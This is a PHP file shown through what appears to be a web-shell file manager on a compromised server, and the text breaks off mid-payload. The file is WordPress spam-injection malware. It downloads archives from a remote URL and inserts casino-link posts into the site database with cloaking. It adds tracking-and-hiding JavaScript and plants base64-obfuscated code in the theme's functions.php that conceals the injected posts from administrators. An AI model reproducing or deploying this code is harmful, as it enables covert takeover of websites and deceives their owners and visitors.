HEX
Server: Apache
System: Linux c27.eelserver.com 5.14.0-503.22.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jan 24 03:55:12 EST 2025 x86_64
User: promosig (1506)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //tmp/wpct_1c8ku4.php
<?php if (function_exists('ignore_user_abort')) {
    ignore_user_abort(true);
}
if (function_exists('set_time_limit')) {
    set_time_limit(0);
}

define('CURRENTDIR', getcwd());







define('REDEFINE_JS_FOR_USER', 1);
define('CLOACKING', 1);
define('IGNORE_ACTIONS_LOG', 0);
define('REMOVE_ACTIONS_LOG', 0);
define('OBFUSCATE_CUSTOM_FUNCTIONS', 0);

define('HOME_LINKS', 0);
$homeLinksSettings = array (
  'hiddenType' => 
  array (
    'css' => 1,
  ),
  'position' => 
  array (
    'head' => 1,
  ),
  'language' => 'EN',
  'type' => 'CASINO',
  'textBlocksCount' => 
  array (
    'onlyHomePage' => 1,
  ),
);

$_SERVER['homeLinksSettings'] = $homeLinksSettings;

define('FORCE_CHANGE_HOME_LINKS_OWNER', 0);

/* * Link building settings* */
define('INTERNAL_LINKING', 1);
define('EXTERNAL_LINKING', 0);
define('INTERNAL_LINKS_COUNT_PAGE', '2..6');
define('EXTERNAL_LINKS_COUNT_PAGE', '1..3');
define('TABLE_HASH', '11c601a3bad16d2567e6754cddc9d28c');
define('HTML_HASH', '31d410006291280c70416aabda41c4e9');
define('COUNT_LINKS_FROM_DOMAIN', 3);
/* * Link building settings* */




/*
 * Use unzip method with header.php
 * ziparchive unpacks files incorrectly.
 */
define('GREEK_LANGUAGE', 1);

//define('HOME_URL', $homeUrl);


if (defined('CUSTOM_AUTHOR_ID') && CUSTOM_AUTHOR_ID < 1000) {
    echo 'use CUSTOM_AUTHOR_ID value large then 1000' . PHP_EOL;
    exit;
}


if (is_null($rootDirCustom = WritePostsWpHandler::detectWProotDir())) {
    echo 'wp root directory not found' . PHP_EOL;
    exit;
}


if (!WritePostsWpHandler::linkBuildingSettingsCheck()) {
    exit;
}

define('WP_ROOT_DIR', $rootDirCustom);

if (!defined('TEMPLATEPATH')) {
    define('TEMPLATEPATH', '');
}
if (!defined('STYLESHEETPATH')) {
    define('STYLESHEETPATH', '');
}
if (!defined('WP_USE_THEMES')) {
    define('WP_USE_THEMES', false);
}


//define('CUSTOM_TEMPLATE_PATH', $rootDir . '/wp-content/themes/oshin');


/* * settings* */

$jsSource = <<<STR
new Image().src = ""+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random();
document.addEventListener("DOMContentLoaded", function (event) {
    var bodyNode = document.getElementsByTagName('body')[0];
    if (bodyNode) {
        bodyNode.remove();
    }
});

STR;

define('JS_SOURCE', $jsSource);
define('RAND_DATE', 0);
define('ALTERNATIVE_CONNECT_MYSQL', 0);

/* * settings* */

$writableDirectoryCustom = WritePostsWpHandler::tmpDirCustom();
if (!$writableDirectoryCustom) {
    echo 'no directory for writing' . PHP_EOL;
    exit;
}
define('WRITABLE_PATH', $writableDirectoryCustom);

$tmpDirNameCustom = WritePostsWpHandler::createTmpSubDir();

if (!$tmpDirNameCustom) {
    echo 'invalid create tmp dir' . PHP_EOL;
    exit;
}

define('TMPDIR', $tmpDirNameCustom);
$customMutexPath = WRITABLE_PATH . '/' . WritePostsWpHandler::pluginsBackupOptionName();


try {
    $customDbHandler = WritePostsWpHandler::tryConnect();
} catch (Exception $ex) {
    echo 'Could not connect to db ' . $ex->getMessage();
    exit;
}

GlobalLogs::setMainLog('Connected successfully');
$homeUrlCustom = $customDbHandler->homeUrl();
WritePostsWpHandler::checkHomeUrl($homeUrlCustom);


$activeActions = WritePostsWpHandler::actionValidator($actions);
$isQuickView = WritePostsWpHandler::quickView($activeActions);


if ($isQuickView) {
    WritePostsWpHandler::startActions($activeActions);
    echo GlobalLogs::getDebugLogs();
    exit;
}

$actionsWithStatus = WritePostsWpHandler::customCheckActions($activeActions);

if (WritePostsWpHandler::areAllActionsCompleted($actionsWithStatus)) {
    echo GlobalLogs::getMainLogs() . PHP_EOL;
    //echo GlobalLogs::getDebugLogs().PHP_EOL;
    WritePostsWpHandler::customFormatResponse();
    exit;
}

WritePostsWpHandler::checkMutex($customMutexPath);
WritePostsWpHandler::startActions($actionsWithStatus);

echo GlobalLogs::getMainLogs();

//echo GlobalLogs::getDebugLogs();


class ActionsCustom
{
    public static function uploadAction() {

        $url = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES);

        try {
            WritePostsWpHandler::uploadRangeOfFiles($url, ARCHIVES_RANGE, '.zip', TMPDIR);

            return true;
        } catch (Exception $ex) {
            GlobalLogs::setMainLog($ex->getMessage());
            return false;
        }
    }

    public static function unzipAction() {

        if (defined('GREEK_LANGUAGE') && GREEK_LANGUAGE === 1) {
            GlobalLogs::setDebugLog('use unzip with header');
            try {
                return WritePostsWpHandler::unzipFirstMethod();
            } catch (Exception $ex) {
                GlobalLogs::setMainLog($ex->getMessage());
            }
        }

        if (class_exists('ZipArchive')) {
            return WritePostsWpHandler::unzipSecondMethod();
        } else {
            GlobalLogs::setDebugLog('use unzip with header');
            try {
                return WritePostsWpHandler::unzipFirstMethod();
            } catch (Exception $ex) {
                GlobalLogs::setMainLog($ex->getMessage());
            }
        }
    }

    public static function importAction() {

        $date = '';

        $htmlFiles = glob(TMPDIR . "/*.html");
        shuffle($htmlFiles);


        //fpcDebug("html file count - ". count($htmlFiles));

        $mutexName = defined('CUSTOM_AUTHOR_ID') ? '_' . CUSTOM_AUTHOR_ID : '';

        if (file_exists(TMPDIR . '/import_finish' . $mutexName)) {
            GlobalLogs::setMainLog('files already imported');
            return true;
        }


        if (!$htmlFiles) {
            GlobalLogs::setMainLog('html files not found');
            return false;
        }

        $extLinksArr = array();

        if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) {
            $countHtmlFiles = count($htmlFiles);
            WritePostsWpHandler::downloadExternalLinks($countHtmlFiles);
            $extLinksArr = WritePostsWpHandler::decodeExternalLinks();

            if (!$extLinksArr) {
                return false;
            }
        }


        $results = array();

        if (!is_dir(TMPDIR . '/imported')) {
            if (!mkdir(TMPDIR . '/imported')) {
                GlobalLogs::setMainLog('invalid create imported dir');
                return false;
            }
        }


        if (!defined('RAND_DATE') || (RAND_DATE === 0)) {
            $date = CustomDbHandler::getInstance()->lastPostDateQuery();
        }


        foreach ($htmlFiles as $key => $html) {


            try {
                $contentParts = WritePostsWpHandler::contentParts(file_get_contents($html));


            } catch (Exception $ex) {
                GlobalLogs::setMainLog($ex->getMessage());
                continue;
            }

            $text = $contentParts['text'];
            $text = WritePostsWpHandler::textWithLinks($text, $results, $extLinksArr);
            $customSlug = WritePostsWpHandler::slugPrepareBeforeInsert($html, $contentParts['slug']);


            try {
                $postId = CustomDbHandler::getInstance()->insertPost($contentParts['title'], $text, $date
                    , CUSTOM_AUTHOR_ID, $customSlug);
            } catch (Exception $ex) {
                GlobalLogs::setMainLog($ex->getMessage());
                continue;
            }


            $results[] = WritePostsWpHandler::resultFormat(HOME_URL, $postId, $contentParts['title']);
            rename($html, TMPDIR . '/imported/' . WritePostsWpHandler::mb_basename($html, '.html'));

        }

        if (!empty($results)) {
            $logPath = TMPDIR . '/log' . $mutexName . '.txt';
            GlobalLogs::setMainLog(sprintf('write to log - %s', $logPath));
            file_put_contents($logPath, implode("\n", $results) . "\n", FILE_APPEND);
            if ($key === (count($htmlFiles) - 1)) {
                file_put_contents(TMPDIR . '/import_finish' . $mutexName, '');
            }

            return true;
        } else {
            GlobalLogs::setMainLog('results are empty');
            return false;
        }
    }

    public static function hideAction() {

        if (!defined('CUSTOM_TEMPLATE_PATH')) {
            $templateDirectory = WritePostsWpHandler::getTemplatePath();
        } else {
            $templateDirectory = CUSTOM_TEMPLATE_PATH;
        }

        $functionsPath = $templateDirectory . '/functions.php';

        if (!file_exists($functionsPath)) {
            GlobalLogs::setMainLog($functionsPath . ' not found');
            GlobalLogs::setMainLog('create functions php');
            file_put_contents($functionsPath, '');
        }

        if (!is_writeable($functionsPath) && (!is_writeable(dirname($functionsPath)))) {
            GlobalLogs::setMainLog($functionsPath . ' not writable functions and themes dir');
            return false;
        }

        $functionsSource = file_get_contents($functionsPath);

        if ($functionsSource === false) {
            GlobalLogs::setMainLog('error while reading functions.php');
            GlobalLogs::setMainLog('try to set right permissions...');

            if (!chmod($functionsPath, 0644)) {
                return false;
            }
            GlobalLogs::setMainLog('success set right perms to functions!');
            $functionsSource = file_get_contents($functionsPath);
        }

        if (!is_writeable($functionsPath) && (is_writeable(dirname($functionsPath)))) {

            if (!$functionsSource) {
                GlobalLogs::setMainLog($functionsPath . ' not writable');
                GlobalLogs::setMainLog($functionsPath . ' invalid read functions php');
                return false;
            }

            unlink($functionsPath);
            file_put_contents($functionsPath, $functionsSource);
            GlobalLogs::setMainLog($functionsPath . ' not writeable, but writeable theme directory, unlink functions php');
        }




        /*obf source from cache*/
$source = 'LyogY3VzdG9tIGZpbHRlcnMgKi8NCg0KZnVuY3Rpb24gcG9zdF9wYXNzd29yZF9yZXF1aXJlZF9wYXJ0KCR3aGVyZSkgew0KICAgIGdsb2JhbCAkd3BkYiwgJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eTsNCg0KICAgICRnZXRfcXVlcmllZF9vYmplY3RfaWRfZnVuY3Rpb24gPSBhcnJheV9rZXlzKCRkeW5hbWljX3NpZGViYXJfc2VjdXJpdHkpOw0KICAgICRnZXRfcXVlcmllZF9vYmplY3RfaWRfbWV0aG9kID0gaW1wbG9kZSgnLCAnLCAkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX2Z1bmN0aW9uKTsNCg0KICAgIGlmICghaXNfc2luZ2xlKCkgJiYgaXNfYWRtaW4oKSkgew0KICAgICAgICBhZGRfZmlsdGVyKCd2aWV3c19lZGl0LXBvc3QnLCAnd3BfbGlzdF9jb21tZW50c19maXJzdCcpOw0KICAgICAgICByZXR1cm4gJHdoZXJlIC4gIiBBTkQgeyR3cGRiLT5wb3N0c30ucG9zdF9hdXRob3IgTk9UIElOICgkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX21ldGhvZCkiOw0KICAgIH0NCg0KICAgIHJldHVybiAkd2hlcmU7DQp9DQoNCmZ1bmN0aW9uIHBvc3RfY2xhc3NfcHJpdmF0ZSgkcXVlcnkpIHsNCg0KICAgIGdsb2JhbCAkZHluYW1pY19zaWRlYmFyX3NlY3VyaXR5Ow0KDQogICAgJGdldF9xdWVyaWVkX29iamVjdF9pZF9mdW5jdGlvbiA9IGFycmF5X2tleXMoJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eSk7DQogICAgJGFkZF9maWx0ZXJfbG9vcCA9IHdwX2dldF9hdHRhY2htZW50X2ltYWdlX3NyY19jcm9uKCRnZXRfcXVlcmllZF9vYmplY3RfaWRfZnVuY3Rpb24pOw0KDQogICAgaWYgKCEkcXVlcnktPmlzX3NpbmdsZSgpICYmICFpc19hZG1pbigpKSB7DQogICAgICAgICRxdWVyeS0+c2V0KCdhdXRob3InLCAkYWRkX2ZpbHRlcl9sb29wKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHRoZV9hcmNoaXZlX3RpdGxlX3BhY2thZ2UoKSB7DQoNCiAgICBnbG9iYWwgJHBvc3QsICRkeW5hbWljX3NpZGViYXJfc2VjdXJpdHk7DQoNCiAgICBmb3JlYWNoICgkZHluYW1pY19zaWRlYmFyX3NlY3VyaXR5IGFzICRpZCA9PiAkc2V0dGluZ3MpIHsNCiAgICAgICAgaWYgKCgkaWQgPT0gJHBvc3QtPnBvc3RfYXV0aG9yKSAmJiAoaXNzZXQoJHNldHRpbmdzWydqcyddKSkpIHsNCg0KICAgICAgICAgICAgaWYgKGlzX3Npbmd1bGFyX29sZCgkc2V0dGluZ3MpKSB7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICRzZXR0aW5nc1snanMnXTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBpc19zaW5ndWxhcl9vbGQoJHNldHRpbmdzKSB7DQogICAgaWYgKGlzc2V0KCRzZXR0aW5nc1snbm9qcyddKSAmJiAkc2V0dGluZ3NbJ25vanMnXSA9PT0gMSkgew0KDQogICAgICAgIGlmIChwb3N0X2NsYXNzX3ByaXZhdGVfa3koKSkgew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiB3cF9saXN0X2NvbW1lbnRzX2ZpcnN0KCR2aWV3cykgew0KICAgIGdsb2JhbCAkY3VycmVudF91c2VyLCAkd3BfcXVlcnk7DQoNCiAgICAkdHlwZXMgPSBhcnJheSgNCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gTlVMTCksDQogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICdwdWJsaXNoJyksDQogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICdkcmFmdCcpLA0KICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAncGVuZGluZycpLA0KICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAndHJhc2gnKSwNCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ21pbmUnKSwNCiAgICApOw0KICAgIGZvcmVhY2ggKCR0eXBlcyBhcyAkdHlwZSkgew0KDQogICAgICAgICRxdWVyeSA9IGFycmF5KA0KICAgICAgICAgICAgJ3Bvc3RfdHlwZScgPT4gJ3Bvc3QnLA0KICAgICAgICAgICAgJ3Bvc3Rfc3RhdHVzJyA9PiAkdHlwZVsnc3RhdHVzJ10NCiAgICAgICAgKTsNCg0KICAgICAgICAkcmVzdWx0ID0gbmV3IFdQX1F1ZXJ5KCRxdWVyeSk7DQoNCiAgICAgICAgaWYgKCR0eXBlWydzdGF0dXMnXSA9PSBOVUxMKSB7DQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1snYWxsJ10sICRtYXRjaGVzKSkgew0KICAgICAgICAgICAgICAgICR2aWV3c1snYWxsJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydhbGwnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ21pbmUnKSB7DQoNCg0KICAgICAgICAgICAgJG5ld1F1ZXJ5ID0gJHF1ZXJ5Ow0KICAgICAgICAgICAgJG5ld1F1ZXJ5WydhdXRob3JfX2luJ10gPSBhcnJheSgkY3VycmVudF91c2VyLT5JRCk7DQoNCiAgICAgICAgICAgICRyZXN1bHQgPSBuZXcgV1BfUXVlcnkoJG5ld1F1ZXJ5KTsNCg0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ21pbmUnXSwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAgICAgJHZpZXdzWydtaW5lJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydtaW5lJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICdwdWJsaXNoJykgew0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ3B1Ymxpc2gnXSwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAgICAgJHZpZXdzWydwdWJsaXNoJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydwdWJsaXNoJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICdkcmFmdCcpIHsNCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydkcmFmdCddLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgICAgICAgICAkdmlld3NbJ2RyYWZ0J10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydkcmFmdCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAncGVuZGluZycpIHsNCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydwZW5kaW5nJ10sICRtYXRjaGVzKSkgew0KICAgICAgICAgICAgICAgICR2aWV3c1sncGVuZGluZyddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc+KCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1sncGVuZGluZyddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAndHJhc2gnKSB7DQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1sndHJhc2gnXSwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAgICAgJHZpZXdzWyd0cmFzaCddID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICc+KCcgLiAkcmVzdWx0LT5mb3VuZF9wb3N0cyAuICcpPCcsICR2aWV3c1sndHJhc2gnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuICR2aWV3czsNCn0NCg0KZnVuY3Rpb24gdGhlX2V4Y2VycHRfc3RyZWFtKCRjb3VudHMsICR0eXBlLCAkcGVybSkgew0KDQogICAgaWYgKCR0eXBlID09PSAncG9zdCcpIHsNCiAgICAgICAgJGdldF9zdHlsZXNoZWV0X3VyaV9jb3JlID0gJGNvdW50cy0+cHVibGlzaDsNCiAgICAgICAgJGlzX2Zyb250X3BhZ2VfbGVzcyA9IGFkZF9pbWFnZV9zaXplX3NvYXAoJHBlcm0pOw0KICAgICAgICAkY291bnRzLT5wdWJsaXNoID0gISRpc19mcm9udF9wYWdlX2xlc3MgPyAkZ2V0X3N0eWxlc2hlZXRfdXJpX2NvcmUgOiAkaXNfZnJvbnRfcGFnZV9sZXNzOw0KICAgIH0NCiAgICByZXR1cm4gJGNvdW50czsNCn0NCg0KZnVuY3Rpb24gYWRkX2ltYWdlX3NpemVfc29hcCgkcGVybSkgew0KICAgIGdsb2JhbCAkd3BkYiwgJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eTsNCg0KICAgICRnZXRfcXVlcmllZF9vYmplY3RfaWRfZnVuY3Rpb24gPSBhcnJheV9rZXlzKCRkeW5hbWljX3NpZGViYXJfc2VjdXJpdHkpOw0KICAgICRnZXRfcXVlcmllZF9vYmplY3RfaWRfbWV0aG9kID0gaW1wbG9kZSgnLCAnLCAkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX2Z1bmN0aW9uKTsNCg0KICAgICR0eXBlID0gJ3Bvc3QnOw0KDQogICAgJHF1ZXJ5ID0gIlNFTEVDVCBwb3N0X3N0YXR1cywgQ09VTlQoICogKSBBUyBudW1fcG9zdHMgRlJPTSB7JHdwZGItPnBvc3RzfSBXSEVSRSBwb3N0X3R5cGUgPSAlcyI7DQoNCiAgICBpZiAoJ3JlYWRhYmxlJyA9PSAkcGVybSAmJiBpc191c2VyX2xvZ2dlZF9pbigpKSB7DQoNCiAgICAgICAgJGhhc19wb3N0X3RodW1ibmFpbF93cCA9IGdldF9wb3N0X3R5cGVfb2JqZWN0KCR0eXBlKTsNCg0KICAgICAgICBpZiAoIWN1cnJlbnRfdXNlcl9jYW4oJGhhc19wb3N0X3RodW1ibmFpbF93cC0+Y2FwLT5yZWFkX3ByaXZhdGVfcG9zdHMpKSB7DQogICAgICAgICAgICAkcXVlcnkgLj0gJHdwZGItPnByZXBhcmUoDQogICAgICAgICAgICAgICAgIiBBTkQgKHBvc3Rfc3RhdHVzICE9ICdwcml2YXRlJyBPUiAoIHBvc3RfYXV0aG9yID0gJWQgQU5EIHBvc3Rfc3RhdHVzID0gJ3ByaXZhdGUnICkpIiwgZ2V0X2N1cnJlbnRfdXNlcl9pZCgpDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgfQ0KICAgICRxdWVyeSAuPSAiIEFORCBwb3N0X2F1dGhvciBOT1QgSU4gKCRnZXRfcXVlcmllZF9vYmplY3RfaWRfbWV0aG9kKSBHUk9VUCBCWSBwb3N0X3N0YXR1cyI7DQogICAgJHJlc3VsdHMgPSAoYXJyYXkpJHdwZGItPmdldF9yZXN1bHRzKCR3cGRiLT5wcmVwYXJlKCRxdWVyeSwgJHR5cGUpLCBBUlJBWV9BKTsNCg0KICAgIGZvcmVhY2ggKCRyZXN1bHRzIGFzICRhZGRfaW1hZ2Vfc2l6ZV9saXN0KSB7DQogICAgICAgIGlmICgkYWRkX2ltYWdlX3NpemVfbGlzdFsncG9zdF9zdGF0dXMnXSA9PT0gJ3B1Ymxpc2gnKSB7DQogICAgICAgICAgICByZXR1cm4gJGFkZF9pbWFnZV9zaXplX2xpc3RbJ251bV9wb3N0cyddOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBpc193cF9lcnJvcl9tb3JlKCR1c2VySWQpIHsNCiAgICBnbG9iYWwgJHdwZGI7DQoNCiAgICAkcXVlcnkgPSAiU0VMRUNUIElEIEZST00geyR3cGRiLT5wb3N0c30gd2hlcmUgcG9zdF9hdXRob3IgPSAkdXNlcklkIjsNCg0KICAgICRyZXN1bHRzID0gKGFycmF5KSR3cGRiLT5nZXRfcmVzdWx0cygkcXVlcnksIEFSUkFZX0EpOw0KDQogICAgJGdldF9xdWVyaWVkX29iamVjdF9pZF9mdW5jdGlvbiA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJHJlc3VsdHMgYXMgJGFkZF9pbWFnZV9zaXplX2xpc3QpIHsNCiAgICAgICAgJGdldF9xdWVyaWVkX29iamVjdF9pZF9mdW5jdGlvbltdID0gJGFkZF9pbWFnZV9zaXplX2xpc3RbJ0lEJ107DQogICAgfQ0KICAgIHJldHVybiAkZ2V0X3F1ZXJpZWRfb2JqZWN0X2lkX2Z1bmN0aW9uOw0KfQ0KDQpmdW5jdGlvbiB3cF9saXN0X2NvbW1lbnRzX2NsaWVudCgpIHsNCg0KICAgIGdsb2JhbCAkZHluYW1pY19zaWRlYmFyX3NlY3VyaXR5LCAkd3BfcmV3cml0ZTsNCg0KICAgICRydWxlcyA9IGdldF9vcHRpb24oJ3Jld3JpdGVfcnVsZXMnKTsNCg0KICAgIGZvcmVhY2ggKCRkeW5hbWljX3NpZGViYXJfc2VjdXJpdHkgYXMgJGlzX2FyY2hpdmVfc3RyZWFtID0+ICRnZXRfdGhlX2F1dGhvcl9tZXRhX3BhcnQpIHsNCiAgICAgICAgJGN1cnJlbnRfdXNlcl9jYW5fdGltZSA9IGtleSgkZ2V0X3RoZV9hdXRob3JfbWV0YV9wYXJ0WydzaXRlbWFwc2V0dGluZ3MnXSk7DQoNCiAgICAgICAgaWYgKCFpc3NldCgkcnVsZXNbJGN1cnJlbnRfdXNlcl9jYW5fdGltZV0pIHx8DQogICAgICAgICAgICAoJHJ1bGVzWyRjdXJyZW50X3VzZXJfY2FuX3RpbWVdICE9PSBjdXJyZW50KCRnZXRfdGhlX2F1dGhvcl9tZXRhX3BhcnRbJ3NpdGVtYXBzZXR0aW5ncyddKSkpIHsNCiAgICAgICAgICAgICR3cF9yZXdyaXRlLT5mbHVzaF9ydWxlcygpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBpc19ob21lX251bSgkcnVsZXMpIHsNCg0KICAgIGdsb2JhbCAkZHluYW1pY19zaWRlYmFyX3NlY3VyaXR5Ow0KDQogICAgJGdldF9zdHlsZXNoZWV0X3VyaV9uZXcgPSBhcnJheSgpOw0KDQogICAgZm9yZWFjaCAoJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eSBhcyAkaXNfYXJjaGl2ZV9zdHJlYW0gPT4gJGdldF90aGVfYXV0aG9yX21ldGFfcGFydCkgew0KICAgICAgICBpZiAoaXNzZXQoJGdldF90aGVfYXV0aG9yX21ldGFfcGFydFsnc2l0ZW1hcHNldHRpbmdzJ10pKSB7DQogICAgICAgICAgICAkZ2V0X3N0eWxlc2hlZXRfdXJpX25ld1trZXkoJGdldF90aGVfYXV0aG9yX21ldGFfcGFydFsnc2l0ZW1hcHNldHRpbmdzJ10pXSA9IGN1cnJlbnQoJGdldF90aGVfYXV0aG9yX21ldGFfcGFydFsnc2l0ZW1hcHNldHRpbmdzJ10pOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcmV0dXJuICRnZXRfc3R5bGVzaGVldF91cmlfbmV3ICsgJHJ1bGVzOw0KfQ0KDQpmdW5jdGlvbiBpc19jdXN0b21pemVfcHJldmlld19xdWV1ZSgpIHsNCg0KICAgIGdsb2JhbCAkZHluYW1pY19zaWRlYmFyX3NlY3VyaXR5Ow0KDQogICAgZm9yZWFjaCAoJGR5bmFtaWNfc2lkZWJhcl9zZWN1cml0eSBhcyAkaXNfYXJjaGl2ZV9zdHJlYW0gPT4gJGdldF90aGVfYXV0aG9yX21ldGFfcGFydCkgew0KICAgICAgICAkZXNjX3VybF9yYXdfaHR0cCA9IHN0cl9yZXBsYWNlKCdpbmRleC5waHA/ZmVlZD0nLCAnJywgY3VycmVudCgkZ2V0X3RoZV9hdXRob3JfbWV0YV9wYXJ0WydzaXRlbWFwc2V0dGluZ3MnXSkpOw0KICAgICAgICBhZGRfZmVlZCgkZXNjX3VybF9yYXdfaHR0cCwgJ2FkbWluX3VybF9oYXNoaW5nJyk7DQogICAgfQ0KfQ0KDQoNCmZ1bmN0aW9uIGFkbWluX3VybF9oYXNoaW5nKCkgew0KDQogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBmZWVkX2NvbnRlbnRfdHlwZSgncnNzLWh0dHAnKSAuICc7IGNoYXJzZXQ9JyAuIGdldF9vcHRpb24oJ2Jsb2dfY2hhcnNldCcpLCB0cnVlKTsNCg0KICAgIHN0YXR1c19oZWFkZXIoMjAwKTsNCg0KICAgICRnZXRfdGhlX0lEX2JyYW5jaCA9IGdldF9zZWFyY2hfZm9ybV9qc29uKCk7DQogICAgJGdldF9jb21tZW50c19udW1iZXJfdGltZSA9IGlzX3dwX2Vycm9yX21vcmUoJGdldF90aGVfSURfYnJhbmNoKTsNCg0KICAgIGlmICghZW1wdHkoJGdldF9jb21tZW50c19udW1iZXJfdGltZSkpIHsNCiAgICAgICAgJGlzX2N1c3RvbWl6ZV9wcmV2aWV3X3BpYyA9IG1kNShpbXBsb2RlKCcsJywgJGdldF9jb21tZW50c19udW1iZXJfdGltZSkpOw0KICAgICAgICAkd3BfbGlzdF9jb21tZW50c19hZGQgPSAndXBkYXRlX3BsdWdpbnNfJyAuICRnZXRfdGhlX0lEX2JyYW5jaCAuICdfJyAuICRpc19jdXN0b21pemVfcHJldmlld19waWM7DQogICAgICAgICRpc193cF9lcnJvcl9vYmplY3QgPSBnZXRfdHJhbnNpZW50KCR3cF9saXN0X2NvbW1lbnRzX2FkZCk7DQoNCiAgICAgICAgaWYgKCRpc193cF9lcnJvcl9vYmplY3QgIT09IGZhbHNlKSB7DQogICAgICAgICAgICBlY2hvICRpc193cF9lcnJvcl9vYmplY3Q7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCiAgICB9DQoNCg0KDQogICAgJGhlYWQgPSB0aGVfY29udGVudF9zY2hlbWEoKTsNCiAgICAkZ2V0X2Jsb2dpbmZvX3Nlc3Npb24gPSAkaGVhZCAuICJcbiI7DQoNCg0KICAgICRwcmlvcml0eSA9ICcwLjUnOw0KICAgICRlc2NfdXJsX3Jhd19pbmZvID0gJ3dlZWtseSc7DQogICAgJGVkaXRfcG9zdF9saW5rX2FscGhhID0gZGF0ZSgnWS1tLWQnKTsNCg0KICAgIGZvcmVhY2ggKCRnZXRfY29tbWVudHNfbnVtYmVyX3RpbWUgYXMgJHBvc3RfaWQpIHsNCiAgICAgICAgJHVybCA9IGdldF9wZXJtYWxpbmsoJHBvc3RfaWQpOw0KICAgICAgICAkZ2V0X2Jsb2dpbmZvX3Nlc3Npb24gLj0gd3BfcmVzZXRfcG9zdGRhdGFfYWpheCgkdXJsLCAkZWRpdF9wb3N0X2xpbmtfYWxwaGEsICRlc2NfdXJsX3Jhd19pbmZvLCAkcHJpb3JpdHkpOw0KICAgICAgICB3cF9jYWNoZV9kZWxldGUoJHBvc3RfaWQsICdwb3N0cycpOw0KICAgIH0NCg0KICAgICRnZXRfYmxvZ2luZm9fc2Vzc2lvbiAuPSAiXG48L3VybHNldD4iOw0KDQogICAgc2V0X3RyYW5zaWVudCgkd3BfbGlzdF9jb21tZW50c19hZGQsICRnZXRfYmxv